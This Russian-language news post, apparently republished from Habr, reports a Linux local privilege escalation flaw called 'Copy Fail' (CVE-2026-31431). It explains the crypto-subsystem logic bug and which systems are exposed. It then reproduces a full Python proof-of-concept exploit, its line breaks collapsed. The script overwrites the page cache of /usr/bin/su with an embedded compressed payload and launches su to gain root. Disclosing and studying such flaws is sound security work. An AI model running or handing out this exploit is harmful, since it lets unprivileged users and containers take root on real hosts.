
Раскрыта информация о LPE-уязвимости из 10 строк кода на Python под названием Copy Fail (CVE-2026-31431), которая может быть реализована в системах на базе Linux. С помощью этой уязвимости в один клик непривилегированный локальный пользователь может получить доступ к системе уровня root без race condition, без подбора оффсетов и без сложной подготовки.
Исследователи пояснили, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.

В уязвимости используется логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.
Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или контролируемый запуск кода на удалённом ПК. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это является критичным: контейнер или обычный пользователь могут стать проблемой уровня хоста.
Ссылка на пример кода для LPE.
# CVE-2026-31431 (copy-fail) unminimized#c opy-fail-CVE-2026-31431__unminimized.py#!/usr/bin/env python3import osimport zlibimport socketdef d(x): return bytes.fromhex(x)def c(f, t, c): a = socket.socket(38, 5, 0) a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) h = 279 v = a.setsockopt v(h, 1, d("0800010000000010" + "0" * 64)) v(h, 5, None, 4) u, _ = a.accept() o = t + 4 i = d("00") u.sendmsg( [b"A" * 4 + c], [ (h, 3, i * 4), (h, 2, b"\x10" + i * 19), (h, 4, b"\x08" + i * 3), ], 32768, ) r, w = os.pipe() n = os.splice n(f, w, o, offset_src=0) n(r, u.fileno(), o) try: u.recv(8 + t) except: 0f = os.open("/usr/bin/su", 0)i = 0e = zlib.decompress( d( "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" ))while i < len(e): c(f, i, e[i : i + 4]) i += 4os.system("su")
ссылка на оригинал статьи https://habr.com/ru/articles/1029860/